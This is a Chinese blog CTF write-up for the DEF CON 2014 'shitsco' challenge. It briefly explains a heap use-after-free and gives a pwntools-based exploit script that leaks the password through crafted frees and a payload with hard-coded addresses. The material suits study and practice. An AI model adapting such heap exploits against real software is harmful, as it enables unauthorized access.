zoukankan      html  css  js  c++  java
  • defcon-ctf-2014-shitsco 堆技巧use-atfer-free

    常规检查

    思路

    首先通过 uaf 泄露出 password ,通过 password 能获得权限通过 flag 命令获得 flag。

    exp

    from pwn_debug import *
    
    pdbg = pwn_debug('shitsco')
    pdbg.local()
    io = pdbg.run('local')
    
    
    #gdb.attach(io)
    io.recvuntil("$ ")
    io.send("set a AAAAAAAAAAAAAAAA
    ")
    io.recv(1024)
    io.send("set b BBBBBBBBBBBBBBBB
    ")
    io.recv(1024)
    
    #gdb.attach(io)
    
    io.send("set a
    ")
    io.recv(1024)
    io.send("set b
    ")
    io.recv(1024)
    
    #gdb.attach(io)
    
    password =0x0804C3A0
    first = 0x0804C36C
    payload = "set c " + "A"*4 + p32(password) + p32(first) + "A"*4
    
    #gdb.attach(io)
    
    io.sendline(payload)
    io.recv(1024)
    io.sendline("show")
    passwd = io.recv(64)
    print passwd
    

    内容来源

    pwn练习3--shitsco

  • 相关阅读:
    Java入门
    Java入门
    Java入门
    Java入门
    Java入门
    Java入门
    Java入门
    random库的使用
    程序的控制结构
    数据类型
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12337641.html
Copyright © 2011-2022 走看看